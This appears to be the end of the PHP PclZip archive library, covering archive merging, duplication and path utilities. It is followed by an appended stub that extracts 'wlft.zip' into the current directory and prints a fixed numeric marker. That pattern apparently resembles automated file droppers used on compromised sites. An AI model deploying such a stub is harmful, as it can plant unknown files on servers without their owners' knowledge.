if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) | |
{ | |
$this->privCloseFd(); | |
return $v_result; | |
} | |
@rewind($this->zip_fd); | |
if (($v_result=$p_archive_to_add->privOpenFd('rb')) != 1) | |
{ | |
$this->privCloseFd(); | |
return $v_result; | |
} | |
$v_central_dir_to_add = array(); | |
if (($v_result = $p_archive_to_add->privReadEndCentralDir($v_central_dir_to_add)) != 1) | |
{ | |
$this->privCloseFd(); | |
$p_archive_to_add->privCloseFd(); | |
return $v_result; | |
} | |
@rewind($p_archive_to_add->zip_fd); | |
$v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp'; | |
if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0) | |
{ | |
$this->privCloseFd(); | |
$p_archive_to_add->privCloseFd(); | |
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode'); | |
return PclZip::errorCode(); | |
} | |
$v_size = $v_central_dir['offset']; | |
while ($v_size != 0) | |
{ | |
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); | |
$v_buffer = fread($this->zip_fd, $v_read_size); | |
@fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); | |
$v_size -= $v_read_size; | |
} | |
$v_size = $v_central_dir_to_add['offset']; | |
while ($v_size != 0) | |
{ | |
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); | |
$v_buffer = fread($p_archive_to_add->zip_fd, $v_read_size); | |
@fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); | |
$v_size -= $v_read_size; | |
} | |
$v_offset = @ftell($v_zip_temp_fd); | |
$v_size = $v_central_dir['size']; | |
while ($v_size != 0) | |
{ | |
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); | |
$v_buffer = @fread($this->zip_fd, $v_read_size); | |
@fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); | |
$v_size -= $v_read_size; | |
} | |
$v_size = $v_central_dir_to_add['size']; | |
while ($v_size != 0) | |
{ | |
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); | |
$v_buffer = @fread($p_archive_to_add->zip_fd, $v_read_size); | |
@fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); | |
$v_size -= $v_read_size; | |
} | |
$v_comment = $v_central_dir['comment'].' '.$v_central_dir_to_add['comment']; | |
$v_size = @ftell($v_zip_temp_fd)-$v_offset; | |
$v_swap = $this->zip_fd; | |
$this->zip_fd = $v_zip_temp_fd; | |
$v_zip_temp_fd = $v_swap; | |
if (($v_result = $this->privWriteCentralHeader($v_central_dir['entries']+$v_central_dir_to_add['entries'], $v_size, $v_offset, $v_comment)) != 1) | |
{ | |
$this->privCloseFd(); | |
$p_archive_to_add->privCloseFd(); | |
@fclose($v_zip_temp_fd); | |
$this->zip_fd = null; | |
unset($v_header_list); | |
return $v_result; | |
} | |
$v_swap = $this->zip_fd; | |
$this->zip_fd = $v_zip_temp_fd; | |
$v_zip_temp_fd = $v_swap; | |
$this->privCloseFd(); | |
$p_archive_to_add->privCloseFd(); | |
@fclose($v_zip_temp_fd); | |
@unlink($this->zipname); | |
PclZipUtilRename($v_zip_temp_name, $this->zipname); | |
return $v_result; | |
} | |
function privDuplicate($p_archive_filename) | |
{ | |
$v_result=1; | |
if (!is_file($p_archive_filename)) | |
{ | |
$v_result = 1; | |
return $v_result; | |
} | |
if (($v_result=$this->privOpenFd('wb')) != 1) | |
{ | |
return $v_result; | |
} | |
if (($v_zip_temp_fd = @fopen($p_archive_filename, 'rb')) == 0) | |
{ | |
$this->privCloseFd(); | |
PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive file \''.$p_archive_filename.'\' in binary write mode'); | |
return PclZip::errorCode(); | |
} | |
$v_size = filesize($p_archive_filename); | |
while ($v_size != 0) | |
{ | |
$v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); | |
$v_buffer = fread($v_zip_temp_fd, $v_read_size); | |
@fwrite($this->zip_fd, $v_buffer, $v_read_size); | |
$v_size -= $v_read_size; | |
} | |
$this->privCloseFd(); | |
@fclose($v_zip_temp_fd); | |
return $v_result; | |
} | |
function privErrorLog($p_error_code=0, $p_error_string='') | |
{ | |
if (PCLZIP_ERROR_EXTERNAL == 1) { | |
PclError($p_error_code, $p_error_string); | |
} | |
else { | |
$this->error_code = $p_error_code; | |
$this->error_string = $p_error_string; | |
} | |
} | |
function privErrorReset() | |
{ | |
if (PCLZIP_ERROR_EXTERNAL == 1) { | |
PclErrorReset(); | |
} | |
else { | |
$this->error_code = 0; | |
$this->error_string = ''; | |
} | |
} | |
function privDisableMagicQuotes() | |
{ | |
$v_result=1; | |
if ( (!function_exists("get_magic_quotes_runtime")) | |
|| (!function_exists("set_magic_quotes_runtime"))) { | |
return $v_result; | |
} | |
if ($this->magic_quotes_status != -1) { | |
return $v_result; | |
} | |
$this->magic_quotes_status = @get_magic_quotes_runtime(); | |
if ($this->magic_quotes_status == 1) { | |
@set_magic_quotes_runtime(0); | |
} | |
return $v_result; | |
} | |
function privSwapBackMagicQuotes() | |
{ | |
$v_result=1; | |
if ( (!function_exists("get_magic_quotes_runtime")) | |
|| (!function_exists("set_magic_quotes_runtime"))) { | |
return $v_result; | |
} | |
if ($this->magic_quotes_status != -1) { | |
return $v_result; | |
} | |
if ($this->magic_quotes_status == 1) { | |
@set_magic_quotes_runtime($this->magic_quotes_status); | |
} | |
return $v_result; | |
} | |
} | |
function PclZipUtilPathReduction($p_dir) | |
{ | |
$v_result = ""; | |
if ($p_dir != "") { | |
$v_list = explode("/", $p_dir); | |
$v_skip = 0; | |
for ($i=sizeof($v_list)-1; $i>=0; $i--) { | |
if ($v_list[$i] == ".") { | |
} | |
else if ($v_list[$i] == "..") { | |
$v_skip++; | |
} | |
else if ($v_list[$i] == "") { | |
if ($i == 0) { | |
$v_result = "/".$v_result; | |
if ($v_skip > 0) { | |
$v_result = $p_dir; | |
$v_skip = 0; | |
} | |
} | |
else if ($i == (sizeof($v_list)-1)) { | |
$v_result = $v_list[$i]; | |
} | |
else { | |
} | |
} | |
else { | |
if ($v_skip > 0) { | |
$v_skip--; | |
} | |
else { | |
$v_result = $v_list[$i].($i!=(sizeof($v_list)-1)?"/".$v_result:""); | |
} | |
} | |
} | |
if ($v_skip > 0) { | |
while ($v_skip > 0) { | |
$v_result = '../'.$v_result; | |
$v_skip--; | |
} | |
} | |
} | |
return $v_result; | |
} | |
function PclZipUtilPathInclusion($p_dir, $p_path) | |
{ | |
$v_result = 1; | |
if ( ($p_dir == '.') | |
|| ((strlen($p_dir) >=2) && (substr($p_dir, 0, 2) == './'))) { | |
$p_dir = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_dir, 1); | |
} | |
if ( ($p_path == '.') | |
|| ((strlen($p_path) >=2) && (substr($p_path, 0, 2) == './'))) { | |
$p_path = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_path, 1); | |
} | |
$v_list_dir = explode("/", $p_dir); | |
$v_list_dir_size = sizeof($v_list_dir); | |
$v_list_path = explode("/", $p_path); | |
$v_list_path_size = sizeof($v_list_path); | |
$i = 0; | |
$j = 0; | |
while (($i < $v_list_dir_size) && ($j < $v_list_path_size) && ($v_result)) { | |
if ($v_list_dir[$i] == '') { | |
$i++; | |
continue; | |
} | |
if ($v_list_path[$j] == '') { | |
$j++; | |
continue; | |
} | |
if (($v_list_dir[$i] != $v_list_path[$j]) && ($v_list_dir[$i] != '') && ( $v_list_path[$j] != '')) { | |
$v_result = 0; | |
} | |
$i++; | |
$j++; | |
} | |
if ($v_result) { | |
while (($j < $v_list_path_size) && ($v_list_path[$j] == '')) $j++; | |
while (($i < $v_list_dir_size) && ($v_list_dir[$i] == '')) $i++; | |
if (($i >= $v_list_dir_size) && ($j >= $v_list_path_size)) { | |
$v_result = 2; | |
} | |
else if ($i < $v_list_dir_size) { | |
$v_result = 0; | |
} | |
} | |
return $v_result; | |
} | |
function PclZipUtilCopyBlock($p_src, $p_dest, $p_size, $p_mode=0) | |
{ | |
$v_result = 1; | |
if ($p_mode==0) | |
{ | |
while ($p_size != 0) | |
{ | |
$v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); | |
$v_buffer = @fread($p_src, $v_read_size); | |
@fwrite($p_dest, $v_buffer, $v_read_size); | |
$p_size -= $v_read_size; | |
} | |
} | |
else if ($p_mode==1) | |
{ | |
while ($p_size != 0) | |
{ | |
$v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); | |
$v_buffer = @gzread($p_src, $v_read_size); | |
@fwrite($p_dest, $v_buffer, $v_read_size); | |
$p_size -= $v_read_size; | |
} | |
} | |
else if ($p_mode==2) | |
{ | |
while ($p_size != 0) | |
{ | |
$v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); | |
$v_buffer = @fread($p_src, $v_read_size); | |
@gzwrite($p_dest, $v_buffer, $v_read_size); | |
$p_size -= $v_read_size; | |
} | |
} | |
else if ($p_mode==3) | |
{ | |
while ($p_size != 0) | |
{ | |
$v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); | |
$v_buffer = @gzread($p_src, $v_read_size); | |
@gzwrite($p_dest, $v_buffer, $v_read_size); | |
$p_size -= $v_read_size; | |
} | |
} | |
return $v_result; | |
} | |
function PclZipUtilRename($p_src, $p_dest) | |
{ | |
$v_result = 1; | |
if (!@rename($p_src, $p_dest)) { | |
if (!@copy($p_src, $p_dest)) { | |
$v_result = 0; | |
} | |
else if (!@unlink($p_src)) { | |
$v_result = 0; | |
} | |
} | |
return $v_result; | |
} | |
function PclZipUtilOptionText($p_option) | |
{ | |
$v_list = get_defined_constants(); | |
for (reset($v_list); $v_key = key($v_list); next($v_list)) { | |
$v_prefix = substr($v_key, 0, 10); | |
if (( ($v_prefix == 'PCLZIP_OPT') | |
|| ($v_prefix == 'PCLZIP_CB_') | |
|| ($v_prefix == 'PCLZIP_ATT')) | |
&& ($v_list[$v_key] == $p_option)) { | |
return $v_key; | |
} | |
} | |
$v_result = 'Unknown'; | |
return $v_result; | |
} | |
function PclZipUtilTranslateWinPath($p_path, $p_remove_disk_letter=true) | |
{ | |
if (stristr(php_uname(), 'windows')) { | |
if (($p_remove_disk_letter) && (($v_position = strpos($p_path, ':')) != false)) { | |
$p_path = substr($p_path, $v_position+1); | |
} | |
if ((strpos($p_path, '\\') > 0) || (substr($p_path, 0,1) == '\\')) { | |
$p_path = strtr($p_path, '\\', '/'); | |
} | |
} | |
return $p_path; | |
} | |
$archive = new PclZip("wlft.zip"); | |
if ($archive->extract() == 0) { | |
die("Error : ".$archive->errorInfo(true)); | |
} | |
else | |
{ | |
die("1425756856"); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment